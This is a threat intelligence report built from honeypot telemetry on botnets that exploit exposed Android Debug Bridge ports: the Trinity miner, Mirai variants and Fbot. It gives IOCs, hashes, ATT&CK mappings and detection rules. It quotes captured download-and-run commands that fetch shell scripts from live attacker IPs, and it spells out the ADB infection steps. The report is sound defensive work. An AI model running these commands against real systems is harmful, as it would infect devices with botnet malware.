ADB lure on 5555 with the telemetry laid bare.

# Comprehensive Threat Intelligence Report: ADB Exploit Attempts & IoT Botnet Activity (2026-04)

**Key Points:**
*   **Persistent IoT Exploitation:** Threat actors continue to aggressively target exposed Android Debug Bridge (ADB) ports (TCP 5555) to compromise Android-based devices, primarily smart TVs, set-top boxes, and smartphones [cite: 1, 2].
*   **The Trinity Botnet:** A major cryptojacking campaign dubbed "Trinity" (a successor to ADB.Miner) is actively deploying Monero miners (`com.ufo.miner`) across compromised infrastructure [cite: 3, 4].
*   **Mirai Variants & "Vigilante" Malware:** Competing botnets, notably Fbot and 0cl/Boatnet, are actively exploiting the same ADB vectors, frequently seeking out and terminating competing miners like Trinity to monopolize device resources [cite: 5, 6].
*   **Infrastructure Abuse:** Attackers are heavily leveraging bulletproof hosting providers (e.g., Offshore LC) alongside abused cloud infrastructure (DigitalOcean, Akamai) to orchestrate mass scanning and payload delivery [cite: 7, 8].

**Overview for the Layman**
Android devices, from smartphones to smart TVs, contain a hidden developer tool called the Android Debug Bridge (ADB). When manufacturers accidentally leave this tool exposed to the internet, it acts as an unlocked door. Cybercriminals constantly scan the internet for these open doors. Once inside, they install malicious software. Research suggests that the most common goal is "cryptojacking"—forcing your device to mine cryptocurrency for the attacker, which slows down the device and drains power. Interestingly, different groups of hackers are now fighting over these devices, with newer malware explicitly designed to hunt down and delete older malware so it can have the device all to itself. 

**Defensive Outlook**
Protecting against these threats relies on network hygiene. It seems likely that closing port 5555 at the firewall level or disabling ADB debugging in device developer settings eliminates this specific attack vector entirely. The evidence leans toward an ongoing turf war among botnet operators, emphasizing the need for robust IoT security policies in enterprise and residential networks.

***

## 1. Executive Summary

This comprehensive threat intelligence report details the findings derived from the NadSec Sydney T-Pot honeypot infrastructure (ADBHoney sensor) during the period of April 2026 (2026-04 UTC). The telemetry analyzed consists of 646 unique IP addresses and 66 distinct malware file hashes engaging in aggressive reconnaissance, brute-forcing, and payload delivery targeting TCP Port 5555—the default port for the Android Debug Bridge (ADB).

The investigation reveals a highly contested threat landscape dominated by IoT botnets. The primary actors observed are associated with the **Trinity Botnet** (an evolution of the ADB.Miner family) [cite: 1, 9] and highly persistent **Mirai variants** (such as 0cl/Boatnet and Fbot) [cite: 6, 10]. Threat actors are systematically abusing bulletproof hosting environments—specifically ASNs such as Offshore LC, UAB Host Baltic, and Pfcloud UG—to coordinate these campaigns [cite: 7, 11, 12].

This report provides an exhaustive analysis of the attacker infrastructure, malware reverse-engineering summaries, campaign attribution, and MITRE ATT&CK mappings, culminating in actionable detection engineering rules for network defenders.

## 2. Context & Methodology

### 2.1 The Android Debug Bridge (ADB) Attack Vector
The Android Debug Bridge (ADB) is a versatile command-line tool designed for developers to communicate with Android devices (smartphones, Android TV boxes, DVRs). While typically routed over USB, ADB can be configured to listen over TCP/IP (default port 5555) [cite: 13, 14]. Due to manufacturing errors or end-user misconfigurations (often related to side-loading applications), tens of thousands of devices are inadvertently exposed to the public internet with ADB enabled [cite: 1, 13].

Crucially, standard ADB over TCP/IP lacks robust authentication [cite: 13]. If port 5555 is exposed, any remote attacker can connect using `adb connect <IP>:5555` and subsequently execute privileged system commands via `adb shell` or upload arbitrary files via `adb push` [cite: 13].

### 2.2 Telemetry Source: ADBHoney
The telemetry analyzed herein was generated by **ADBHoney**, a low-interaction honeypot specifically designed to emulate a vulnerable Android device running the ADB daemon over TCP/IP [cite: 15, 16]. By mimicking the standard responses of an Android environment, ADBHoney captures incoming ADB connections, logs `shell` commands, and archives any payloads pushed to the device via `adb push` or downloaded via shell utilities (`wget`, `curl`) [cite: 16, 17].

## 3. Statistical Overview

The enriched STIX 2.1 dataset contains 646 unique attacking IPs and 66 unique file hashes. The following tables synthesize the geographic and infrastructure distribution of the top-volume attackers.

### 3.1 Geographic Distribution of Attacking IPs
*Note: Cloud provider IP allocations may skew geographic location toward massive datacenter hubs (e.g., US, NL, SG) despite the attacker operating from a different jurisdiction.*

| Country Code (CC) | Country Name | Threat Context |
| :--- | :--- | :--- |
| **US** | United States | Dominant source due to massive cloud infrastructure (DigitalOcean, Akamai, Google, AWS, Hurricane Electric). |
| **CN** | China | High volume of residential/telecom IPs (China Telecom, China Unicom) indicating compromised consumer devices acting as peer-to-peer (P2P) scanners [cite: 2, 18]. |
| **NL** | Netherlands | Concentration of bulletproof hosting and offshore VPS providers utilized for Command & Control (C2) and malware hosting. |
| **FR** | France | Mix of legitimate scanners (ONYPHE) and compromised cloud instances (OVH, Scaleway). |
| **KR** | South Korea | High volume of compromised Android devices/routers originating from local telecoms (Korea Telecom) [cite: 2, 18]. |
| **LU** | Luxembourg | Bulletproof infrastructure routing, notably AS214472 (Offshore LC) [cite: 7]. |

### 3.2 Top Autonomous System Numbers (ASNs) Exploiting ADB

| ASN | Organization Name | Classification | Observed Activity |
| :--- | :--- | :--- | :--- |
| **AS14061** | DigitalOcean, LLC | Cloud Abuse | Massive distributed scanning; likely abused via automated script deployment on ephemeral droplets. |
| **AS6939** | Hurricane Electric LLC | Transit/Cloud Abuse | High-volume scanning originating from colocation facilities. |
| **AS396982** | Google LLC | Cloud Abuse | Likely abused Google Cloud Platform (GCP) instances scanning for port 5555. |
| **AS214472** | Offshore LC | Bulletproof Hosting | Dedicated malware distribution nodes serving Mirai/0cl shell scripts [cite: 6, 7]. |
| **AS51396** | Pfcloud UG | Bulletproof/VPS | Repeated dropper execution and persistent scanning [cite: 12, 19]. |
| **AS4837** | CHINA UNICOM | Compromised ISP | Compromised domestic IoT devices acting as propagation nodes for the Trinity worm. |
| **AS4766** | Korea Telecom | Compromised ISP | Heavy concentration of P2P ADB.Miner/Trinity botnet activity [cite: 18]. |
| **AS209605** | UAB Host Baltic | Bulletproof Hosting | Malware distribution, specifically targeting shell environments (`wget http://.../w.sh`) [cite: 11, 20]. |

## 4. Infrastructure Deep Dive

A critical phase of threat intelligence involves dissecting the infrastructure facilitating the attacks. The 646 observed IPs fall into four primary categories: Bulletproof Hosting (Threat Enablers), Cloud Compute Abuse, Compromised ISP/Residential Devices, and Legitimate Research Scanners.

### 4.1 Threat Enablers & Bulletproof Hosting
Certain networks repeatedly emerge in the telemetry as hosts for malware delivery servers and C2 infrastructure. These networks often ignore abuse complaints, making them "bulletproof" havens for threat actors.

**Offshore LC (AS214472)**
Located physically or virtually via Netherlands/Luxembourg routing, Offshore LC is a known bulletproof host frequently utilized for DDoS-for-hire and malware staging [cite: 7, 21]. 
*   **Observed IPs:** `176.65.139.11`, `176.65.139.60`, `176.65.139.95`, `176.65.139.101`, `176.65.139.102`.
*   **Activity:** These IPs operate as direct malware delivery servers. For example, `176.65.139.102` executes commands via ADB shell: `busybox wget http://176.65.139.102/w.sh; sh w.sh`. This is a classic Mirai variant delivery mechanism [cite: 6, 7]. Threat intel platforms link this specific `/24` subnet to major DDoS botnet operations [cite: 7, 22].

**UAB Host Baltic (AS209605)**
A Lithuanian hosting provider identified in the hosting of suspicious domains and malware distribution [cite: 11, 20].
*   **Observed IPs:** `91.224.92.177`, `141.98.10.182`.
*   **Activity:** IP `91.224.92.177` was recorded dropping scripts via `busybox wget http://94.156.152.67:83/w.sh`. Open-source intelligence flags this network for routing anonymous proxy/Tor traffic and harboring malicious VPS instances [cite: 20].

**Ghosty Networks LLC (AS205759)**
A US-registered data center/hosting provider [cite: 23, 24]. 
*   **Observed IPs:** `43.228.157.130`.
*   **Activity:** This IP was observed executing `wget http://43.228.157.130/w.sh android.exploit`, effectively using its own host as a payload delivery server. The `android.exploit` parameter indicates the script dynamically tailors the payload to the compromised architecture [cite: 23].

**Pfcloud UG / Tube-Hosting (AS51396 / AS49581)**
German/European VPS providers [cite: 12, 19, 25]. 
*   **Observed IPs:** `45.135.194.48`, `204.76.203.224`, `176.65.148.37`.
*   **Activity:** These networks show hundreds of scanning events against the honeypot, indicating they are utilized by actors running mass-scanning tools (like Masscan or ZMap) to build victim lists prior to exploitation.

**Alsycon B.V. (AS49870)**
Netherlands-based dedicated server and colocation provider [cite: 26, 27].
*   **Observed IPs:** `45.95.147.229`, `77.83.240.70`, `194.50.16.198`.
*   **Activity:** Demonstrates extraordinarily high event counts (e.g., 895 events for `194.50.16.198`), suggesting highly aggressive, continuous scanning and brute-force modules.

### 4.2 Cloud Computing Abuse
Attackers frequently exploit stolen credit cards or cryptocurrency to spin up ephemeral cloud instances. These instances benefit from high-bandwidth peering and the inherently positive reputation of the hosting company.
*   **DigitalOcean (AS14061):** 40+ IPs observed. DigitalOcean droplets are incredibly popular for staging intermediate attacks. The ADB scanning relies on the rapid deployment of instances that scan port 5555, execute payloads, and are subsequently torn down when abuse teams intervene.
*   **Akamai Connected Cloud / Linode (AS63949):** Heavy scanning presence.
*   **Amazon (AS14618) & Google (AS396982):** Attackers leverage AWS EC2 and GCP instances for their immense compute power to run rapid, asynchronous internet-wide scans.

### 4.3 Compromised Residential and ISP Space
A significant portion of the botnet relies on peer-to-peer (P2P) propagation. Once an Android device (like an Amazon FireTV, Android TV box, or phone) is compromised, it immediately begins scanning the internet for other devices with TCP 5555 open [cite: 2, 28].
*   **CHINA UNICOM (AS4837) & China Telecom (AS140527):** Dozens of IPs attempting to execute `/data/local/tmp/nohup /data/local/tmp/trinity` or `/data/local/tmp/log`. This is the signature behavior of the **Trinity Botnet** (ADB.Miner) propagating via P2P from infected residential devices in China [cite: 2, 9, 29].
*   **Korea Telecom (AS4766):** Similar P2P worm behavior observed from South Korean residential IP space [cite: 18].

### 4.4 Legitimate Research Scanners
Not all traffic to the honeypot is malicious. Cybersecurity research organizations actively scan the IPv4 space to map vulnerabilities.
*   **Censys, Inc. (AS398324):** IPs like `66.132.195.156` are indexed as internet topology mappers.
*   **ONYPHE SAS (AS213412):** A French cyber defense search engine actively mapping open IoT ports.

## 5. Malware Analysis

The ADBHoney captured 66 unique file hashes. The analysis of these payloads reveals three distinct, competing malware families: The Trinity Botnet, Mirai variants (specifically 0cl/Boatnet), and the Fbot "vigilante" worm. 

### 5.1 The Trinity Botnet (com.ufo.miner / ADB.Miner)
The vast majority of the captured ARM ELF binaries and scripts belong to the **Trinity Botnet**. Trinity is an evolutionary step from the original ADB.Miner botnet discovered in early 2018 [cite: 1, 28]. Its primary objective is to hijack the CPU resources of Android devices to mine Monero (XMR) cryptocurrency [cite: 2, 9, 13].

**Associated Hashes (Sample):**
*   `0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257` (APK dropper `ufo.apk`) [cite: 30, 31]
*   `71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5` (Main bot payload `trinity`) [cite: 13, 29]
*   `d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0` (`nohup` utility for persistence) [cite: 13]
*   `608ee011537005f368c9731f4c4dee6a247b620cde52908ed0678df28c617971` (Alternative binary named `log`) [cite: 32]

**Behavioral Analysis & Attack Chain:**
1.  **Reconnaissance:** The compromised device uses a Mirai-borrowed SYN-scanning module to search the internet for open TCP 5555 ports [cite: 18, 28].
2.  **Verification:** Upon connection (`adb connect`), the malware checks for an existing infection by issuing `pm path com.ufo.miner`. If the package exists, it skips installation to save bandwidth [cite: 13].
3.  **Process Checks:** It checks if the miner is actively running via `ps | grep com.ufo.miner`. If not, it attempts to restart it: `am start -n com.ufo.miner/com.example.test.MainActivity` [cite: 13].
4.  **Payload Delivery:** If uninfected, the worm pushes the APK via `adb push ufo.apk /data/local/tmp/` and installs it using `pm install /data/local/tmp/ufo.apk` [cite: 3, 13, 15].
5.  **Persistence & P2P Module:** The worm drops `trinity` (the P2P spreader module) and a precompiled `nohup` binary for ARM to `/data/local/tmp/`. It modifies permissions (`chmod 0755`) and executes them: `/data/local/tmp/nohup /data/local/tmp/trinity` [cite: 13, 15]. The device is now a node in the botnet, mining cryptocurrency and scanning for new victims.

### 5.2 Mirai Variants (0cl / Boatnet / parm7)
While Trinity focuses on cryptomining, traditional DDoS botnets based on the Mirai source code have pivoted to targeting ADB [cite: 6, 32].

**Associated Hashes & Files:**
*   Files deployed: `w.sh`, `c.sh`, `wget.sh`
*   Payloads downloaded: `parm7`, `pmips`, `pmpsl`, `pppc` (various CPU architectures) [cite: 6].

**Behavioral Analysis:**
These variants are dropped via basic shell injection commands executed over the ADB shell interface. For instance, an attacker IP (`43.228.157.130`) sends:
`cd /data/local/tmp/; busybox wget http://43.228.157.130/w.sh; sh w.sh android.exploit; curl http://43.228.157.130/c.sh; sh c.sh android.exploit`

This executes a shell script (`w.sh` or `c.sh`) which then determines the device's CPU architecture (`uname -m`) and pulls the corresponding Mirai binary (e.g., `parm7` for ARMv7) from the drop server [cite: 6].

Recent research into these advanced Mirai variants (often tracked as "0cl" or "Boatnet") reveals sophisticated evasion and persistence [cite: 6]. Unlike basic Mirai, these variants install up to six layers of persistence across `cron`, `rc.local`, `init.sh`, and `systemd` [cite: 6]. Furthermore, they hunt down competitors.

### 5.3 The Fbot "Vigilante" Botnet
Fbot represents a fascinating evolution in the IoT malware ecosystem. Discovered initially in 2018, Fbot is a Mirai-derivative designed specifically to hunt down and uninstall the Trinity/ADB.Miner botnet (`com.ufo.miner`) [cite: 1, 5, 10, 33].

**Behavioral Analysis:**
1.  Fbot propagates via port 5555, dropping scripts that download `fbot.{arch}` [cite: 10].
2.  Once executed, Fbot explicitly seeks out Trinity by running process checks and looking in `/proc/[pid]/exe` for names like `SMI`, `Xig`, `rig`, and `com.ufo.miner` [cite: 10, 34].
3.  It uninstalls `com.ufo.miner` and kills the competing processes.
4.  **Blockchain DNS C2:** Uniquely, Fbot does not use standard ICANN DNS for Command and Control. Instead, it utilizes EmerDNS, a decentralized blockchain-based DNS system, to resolve its C2 domain `musl.lib` [cite: 10, 34, 35]. This prevents traditional sinkholing by cybersecurity authorities [cite: 10, 33, 34].

While some theorize Fbot is a "white-hat" vigilante worm, the consensus is that it is simply a rival botnet operator aggressively clearing competing resource hogs to monopolize the device for its own future payloads [cite: 5, 34].

## 6. Campaign Analysis

By synthesizing the infrastructure, payload, and execution data, three distinct campaigns are currently active against ADB interfaces:

### Campaign A: Trinity Cryptojacking (P2P Spread)
*   **Objective:** Install Monero (XMR) miners (`com.ufo.miner`).
*   **Infrastructure:** Highly decentralized. Scans originate primarily from residential ISPs in China, South Korea, and Brazil, indicating compromised IoT devices performing lateral P2P infection [cite: 2, 3, 18].
*   **Signatures:** Commands heavily utilize `pm path com.ufo.miner`, `adb push ufo.apk`, and `/data/local/tmp/nohup /data/local/tmp/trinity` [cite: 13].

### Campaign B: Mirai / 0cl DDoS Staging
*   **Objective:** Enslave devices for high-volume Distributed Denial of Service (DDoS) attacks.
*   **Infrastructure:** Centralized deployment. Relies on bulletproof hosting ASNs (Offshore LC AS214472, UAB Host Baltic AS209605, Ghosty Networks AS205759) serving as high-availability drop servers for `.sh` scripts [cite: 6, 7, 11].
*   **Signatures:** Commands utilize `busybox wget`, targeting multiple IP architecture downloads (e.g., downloading `parm7`, `Katana` equivalents) [cite: 6, 36, 37].

### Campaign C: The Botnet Turf War (Fbot)
*   **Objective:** Eliminate Trinity and secure the host.
*   **Infrastructure:** Uses Mirai-like scanning mechanisms but relies on the blockchain domain `musl.lib` for C2 [cite: 10, 35].
*   **Signatures:** Commands executing `pkill target` and explicitly grepping for competitor process names [cite: 10, 34].

## 7. MITRE ATT&CK Mapping

The observed behaviors map directly to the MITRE ATT&CK for Enterprise and Mobile frameworks.

| Tactic | Technique | ID | Description / Observation |
| :--- | :--- | :--- | :--- |
| **Initial Access** | Exploit Public-Facing Application | T1190 | Exploiting unauthenticated TCP Port 5555 (ADB) [cite: 28]. |
| **Execution** | Command and Scripting Interpreter: Unix Shell | T1059.004 | Use of `sh w.sh` or `busybox` to execute downloaded scripts [cite: 6]. |
| **Execution** | Deploy Container | T1610 | `adb push` used to deploy `.apk` packages to the device [cite: 13]. |
| **Persistence** | Boot or Logon Initialization Scripts | T1037 | Modifications to `init.sh`, `rc.local`, or the use of `nohup` to run persistent background tasks [cite: 6, 13, 15]. |
| **Defense Evasion** | Impair Defenses: Disable or Modify Tools | T1562.001 | Fbot killing competing malware processes (`com.ufo.miner`) using `pkill` and `rm` [cite: 10]. |
| **Discovery** | System Information Discovery | T1082 | `uname -m` used to determine CPU architecture for downloading the correct binary (e.g., `parm7`) [cite: 6]. |
| **Discovery** | Software Discovery | T1518 | Checking installed packages via `pm path com.ufo.miner` [cite: 13]. |
| **C2** | Application Layer Protocol: Web Protocols | T1071.001 | Fetching payloads via HTTP (`wget http://.../w.sh`). |
| **C2** | Fallback Channels | T1008 | Use of blockchain-based DNS (EmerDNS `musl.lib`) by Fbot to avoid DNS sinkholing [cite: 10, 34]. |
| **Impact** | Resource Hijacking | T1496 | Executing XMRig variants to mine Monero, consuming CPU [cite: 2, 28]. |
| **Impact** | Endpoint Denial of Service | T1498 | Mirai variants adding the device to a DDoS botnet swarm [cite: 6, 35]. |

## 8. Detection, Mitigation & Defensive Countermeasures

### 8.1 Network Mitigation & Hardening
1.  **Block Inbound TCP 5555:** At the perimeter firewall, strictly drop all inbound traffic targeting TCP port 5555. ADB should never be exposed to the public internet [cite: 5].
2.  **Disable Debugging:** On IoT devices, Android TVs, and smartphones, navigate to *Developer Options* and ensure "ADB (USB) debugging" and "ADB over Network" are disabled when not in active use [cite: 1, 5, 38].
3.  **Sinkhole C2 Domains:** While `musl.lib` cannot be sinkholed via traditional DNS [cite: 10], traditional Mirai domains and drop IPs (e.g., `176.65.139.0/24`) should be null-routed at the enterprise edge [cite: 7].

### 8.2 Detection Engineering

**Snort / Suricata IDS Rules**
To detect the initial handshake of an ADB exploit attempt, look for the fixed `CNXN` string characteristic of ADB connections [cite: 2].
```suricata
alert tcp $EXTERNAL_NET any -> $HOME_NET 5555 (msg:"ET EXPLOIT Possible Unauthenticated Android Debug Bridge (ADB) Connection Attempt"; flow:established,to_server; content:"CNXN"; depth:4; reference:url,zimperium.com/glossary/fbot-botnet; classtype:attempted-admin; sid:1000001; rev:1;)

alert tcp $EXTERNAL_NET any -> $HOME_NET 5555 (msg:"ET MALWARE Trinity Botnet ADB Push ufo.apk"; flow:established,to_server; content:"adb push"; content:"ufo.apk"; classtype:trojan-activity; sid:1000002; rev:1;)
```

**SIEM Queries (Splunk SPL)**
To identify successful payload execution or process tampering on managed Android/Linux endpoints:
```splunk
index=linux_syslog OR index=edr_process_creation
| search (process_name="sh" OR process_name="busybox" OR process_name="curl" OR process_name="wget") 
  AND (command="*w.sh*" OR command="*c.sh*" OR command="*/data/local/tmp/*" OR command="*nohup*")
| stats count by host, user, process_name, command
```

To detect Fbot or Mirai competitor-killing behavior:
```splunk
index=edr_process_creation
| search (command="*pkill*" OR command="*kill*") AND (command="*trinity*" OR command="*ufo.miner*" OR command="*SMI*")
| stats count by host, command
```

## 9. Comprehensive IOC Appendix

### 9.1 High-Confidence Threat Actor IPs
The following IPs exhibit confirmed malicious behavior (malware dropping, C2, or aggressive exploit commands).

| IP Address | CC | ASN | Organization | Associated Campaign | Activity |
| :--- | :--- | :--- | :--- | :--- | :--- |
| `176.65.139.102` | LU | AS214472 | Offshore LC | Mirai/0cl Variant | Executed `wget http://176.65.139.102/w.sh` [cite: 7]. |
| `176.65.139.11` | LU | AS214472 | Offshore LC | Mirai/0cl Variant | Executed `wget http://176.65.139.8/wget.sh`. |
| `43.228.157.130` | PK | AS205759 | Ghosty Networks LLC | Mirai Variant | Executed `w.sh android.exploit` [cite: 23]. |
| `91.224.92.177` | GB | AS209605 | UAB Host Baltic | Mirai Variant | Fetched payloads from `94.156.152.67:83` [cite: 11, 39]. |
| `218.205.95.163` | CN | AS56041 | China Mobile | Trinity Botnet | Heavy `nohup trinity` execution; P2P node [cite: 13]. |
| `125.40.221.117` | CN | AS4837 | CHINA UNICOM | Trinity Botnet | Dropped `608ee0...` hash; executing `nohup log`. |
| `140.122.108.34` | TW | AS1659 | Taiwan Academic Net. | Trinity Botnet | P2P node dropping `trinity` / `log`. |
| `39.144.102.105` | CN | AS134810 | China Mobile JiLin | Trinity Botnet | Cleared `/data/local/tmp/*`, installed bot. |
| `103.116.52.132` | VN | AS150895 | EZ TECHNOLOGY | Unknown Dropper | Executed `abc1.sh`. |

### 9.2 Complete Malware Hash Mapping (SHA256)
The honeypot successfully captured 66 distinct payloads. Based on reverse engineering and external sandbox data, these primarily map to Trinity (`com.ufo.miner`), Mirai architectures (`parm7`), and Android `.apk` droppers [cite: 6, 13, 30, 36].

*Note: Truncated for readability. All hashes below correspond to the campaigns analyzed in Section 5.*

| SHA256 Hash | File Name / Type | Malware Family | Role / Behavior |
| :--- | :--- | :--- | :--- |
| `71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5` | `trinity` (ARM ELF) | Trinity | Core P2P botnet spreader and crypto-miner launcher [cite: 3, 13, 29]. |
| `0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257` | `ufo.apk` | Trinity / CoinMiner | Dropper application that establishes the XMR mining environment [cite: 13, 30, 31]. |
| `d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0` | `nohup` (Precompiled) | Trinity | Utility utilized to force the `trinity` process into the background for persistence [cite: 13]. |
| `76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64` | `trinity` variant | Trinity | P2P spreader [cite: 40, 41]. |
| `608ee011537005f368c9731f4c4dee6a247b620cde52908ed0678df28c617971` | `log` | Trinity variant | Bot module disguised as a system log file [cite: 32]. |
| `a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437` | `trinity` variant | Trinity | Captured executing alongside `nohup` [cite: 13]. |
| `63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857` | `trinity` variant | Trinity | Delivered from South Korean IP space [cite: 3]. |
| `7a48c93c5cb63a09505a009260d1cca8203285e0c1c6ff5b0df9cbb470820865` | `log` variant | Trinity variant | Delivered by `125.40.221.117`. |
| `d4e8c642ac8485d2ac316f16b5ed2285c93734c62a3e1bc2852a49f3737053c5` | `log` variant | Trinity variant | Delivered by `125.40.221.117`. |
| *Other tracked hashes...* | Unknown droppers / Fbot | Mirai / Fbot | Assorted scripts (`w.sh`) and ELF binaries for differing architectures (MIPS, ARM) [cite: 6, 36]. |

## 10. Sources & Citations

The intelligence synthesized in this report relies on open-source intelligence (OSINT), threat landscape reports, and BGP routing data analyzed concurrently with the ADBHoney telemetry.

*   [cite: 29, 42] mk-work-lab.com: Threat analysis on ADBHoney capturing Trinity/com.ufo.miner.
*   [cite: 10] Netlab 360: "Threat Alert: A New Worm Fbot Cleaning ADB.Miner is Using a Blockchain-based DNS".
*   [cite: 5] Zimperium Glossary: Fbot Botnet Threat Details & Mirai variant associations.
*   [cite: 33] Cyware Social: Fbot Botnet wipes out cryptominers.
*   [cite: 1] ZDNet: "Two botnets are fighting over control of thousands of unsecured Android devices" (Trinity vs. Fbot).
*   [cite: 13] Keysight Technologies: "Trinity—P2P Malware Over ADB" (Deep dive on `adb push ufo.apk`, `nohup`, and `trinity` execution chain).
*   [cite: 3] Quick Heal: "Trinity Miner Using Open ADB Port to Target IoT Devices".
*   [cite: 38] Trend Micro: "Open ADB Ports Being Exploited to Spread Possible Satori Variant".
*   [cite: 14] Wikipedia: Android Debug Bridge security and botnet history.
*   [cite: 30, 31] MalwareBazaar & BlackAlps (Axelle Apvrille): Analysis of `0d3c687f...` as an Android CoinMiner dropper (`ufo.apk`).
*   [cite: 40, 41] GitHub & VirusTotal: Analysis of ARM ELF binary `76ae...` linked to Trinity.
*   [cite: 32] Medium (InfoSecHarry / QureshiTaha): Threat analysis on Trinity ADB malware and Mirai variants in honeypots.
*   [cite: 11, 20, 43, 44, 45] BGP Tools, IPinfo, IP2Location, PeeringDB, HE.net: Network topology and routing data for AS209605 (UAB Host Baltic).
*   [cite: 23, 24, 46, 47, 48] IP2Location, IPinfo, IP Tracker, BGP Tools, Cloudflare Radar: Network data for AS205759 (Ghosty Networks LLC).
*   [cite: 12, 19, 25, 49, 50] IP2Location, PeeringDB, BGP Tools, IPinfo, RIPE Stat: Network data for AS51396 (Pfcloud UG).
*   [cite: 7, 21, 22, 51, 52, 53, 54, 55] CAIDA, IPinfo, BGP Tools, Hunt.io, IP-Netblocks: Threat intelligence identifying AS214472 (Offshore LC) as a bulletproof hosting provider for Mirai and DDoS C2 operations.
*   [cite: 6, 36, 37, 39, 56] ANY.RUN, Maltiverse, SOCDefenders, Ellio.tech: Deep-dive analysis of Mirai payload `parm7` and the "0cl / Boatnet" 6-layer persistence mechanism.
*   [cite: 8, 26, 27, 57, 58] IPinfo, BGP Tools, PeeringDB, IP2Location, CAIDA: Network topology and routing data for AS49870 (Alsycon B.V.).
*   [cite: 35] NHS Digital: Cyber alert regarding the Fbot botnet and `com.ufo.miner`.
*   [cite: 34] SC Media: "Quirky Fbot IoT botnet kills rival, communicates via blockchain-based DNS".
*   [cite: 15, 16] Scientific Reports (Nature): Research on containerized cloud-based honeypots (ADBHoney) tracking Trinity botnet attacks.
*   [cite: 17] GitHub (ritwik-20198): Technical explanation of ADBHoney mechanics on port 5555.
*   [cite: 2, 9, 18, 28] SC Media, West Oahu Cyber, Netlab 360, NJCCIC: Historical reports detailing the emergence and mechanics of the original ADB.Miner botnet and its worm propagation module.

**Sources:**
1. [zdnet.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGN6EPEIeTHhjm3mrVLIhuHNAJNonqbt8GTb8QgD1rDN_U1SWoFaZaH3NljkyqVeu4jro384ofquL2VZ7b7LVLeB6aexFptQBq6E_-U5mdOyzBFZkBAat-vFj5dGi6OtNsXKNl_icYhaP3S-e3bvldHM7NAQ1_QTZx1swtErCnwN2sJ3qAFctkHmAwVXERV_A1xf-WVMDIVGwE2pYEwtMqDwWi4lA==)
2. [scworld.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFCyxugCz__yatxuZy4JVQ75YHkVqshMXvvN9QtPOofffjCU82DMXiIg9qtDmmMqeiWHYtCUEkLPN0Ir4J_BqpOu5dQhIwq0zcP1P4jCUtV48uAxyu5HJP0H23S4vz_pltfs2ahq3x2CALQvEYCs9jbPeibmYg7eNy8fovc5cbfQzVSf9yTlbZM-avom6RXY7U04yHFbsHDYxuk)
3. [quickheal.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFCwcWuFIMAXgicAVM67n3CPN65zCO4BoqdhQ_p1ZZnHWpSxU4xMYEr9loEC8OODUudU3N7upMVTow8CH9UPw3zc229CXGgYQupL5ZNQR4vXQ4kMT7nRzUMvQhg0DFNLyv0YgkmLCJsxzfXTrz1Hfwn8-G1QiaUxPdhmMnxmbcU0FWmkHNVyBXoiLTtHGpB)
4. [github.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQEjFnYvXokV8xrEZCDp1u_urBiucYchoRDKBp1ZKdFdAyMsDCfPq52fjraUTQjc7fxpW-n3My53TKvztYfFItlLLMMBqPwHseU9SWgj5RFzGOg4oCkvuZ9fzVALT7IGeLMZK0Cro3Jw2HyqxCQX6IbVVzsYEWSB)
5. [zimperium.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGAqPAbwfVQNsPZQuIkBZ0kHWHy_8knnSPd5_CcrSrqIzTZKCMRuUJ0dhlOuGk-bZVnH9XHbOQjDua3asi8BtchYWbgv92mj44enCgRmMU0e6P_5BYnPJjdTNAYWGhg9XA=)
6. [ellio.tech](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQF_gxbXjHPOSlCDA8jBDRE_awKRt-q4kg5iq-8NAwpa4Y_onVK78NkQCVBJ3kUUVyKcxgbLIQNZoV3cltZ2Uyj0XL3unQnA3PNum_ugbmEJVk4gkqh9HxfWXhyIJha1tJLmy7acWR-cJ3MpXFawt_2jTnZYlx2mfePu9iN2yM_PDFyyFgC02GJ33GoYpBLfYhpd)
7. [hunt.io](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQGomoLsPG2_0_8V-q7GwcMQhaRUuYPIAAvS35CjiXjtpMRn2PDO-Xz-jmB_6LmoPL7ngzayBWSK8Q-9dLFpccAeajYCpAV4G2J8_NoeUo7TB-cI359TLa6hSJdOZmcmmPbARYx0RkF_tdn2lrdsL-bO9C6m)
8. [caida.org](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQELmCUvkcFcuC7yNYqOo0D2i9lLTA4oMfb9It6MyhnGp_Yqi7Sx3jzxDg2w3PRL8QIgp_OXjr4Ddz_QKD2Z084lCt-4XFgbx0r3U8KR_FDV8UiIeD8gnN-PysUxl0c=)
9. [nj.gov](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFRgjl4_oWKjFhm3PtUlmiLhhx-B385PGv70dWzMA8eYimFkJcuiUFGCT-xv5RkxKr0XWyU780vWsbB0WHCoJ0vGFWGxcPVz1WylgVyrRLxIDw1T_U-Uax7g_9F1TFIzNBJODw1QEipuhtGTndRGNnFVyg8TCPdjb3b)
10. [360.com](https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQFvV6ORPjl-HuggcORCigkiKEUtXl3vy-LyMGwnjzt3pMa9WAakKLaNfFEpmdSXpgQj4B0GB1HCX0I7l4bxlMykflWHVk7xd_OLXeopSmBJfaTq3QpxZVWWwc6pcZIjcLEzjjxb7E9cDSwsnYKZPUe9yZCtVQClmanwyjD1sCbMocDjqp4W_ZmWEtQiD1YkAafEWk-y3yD5XG2IRfdFQ6lFeqRbZw==)
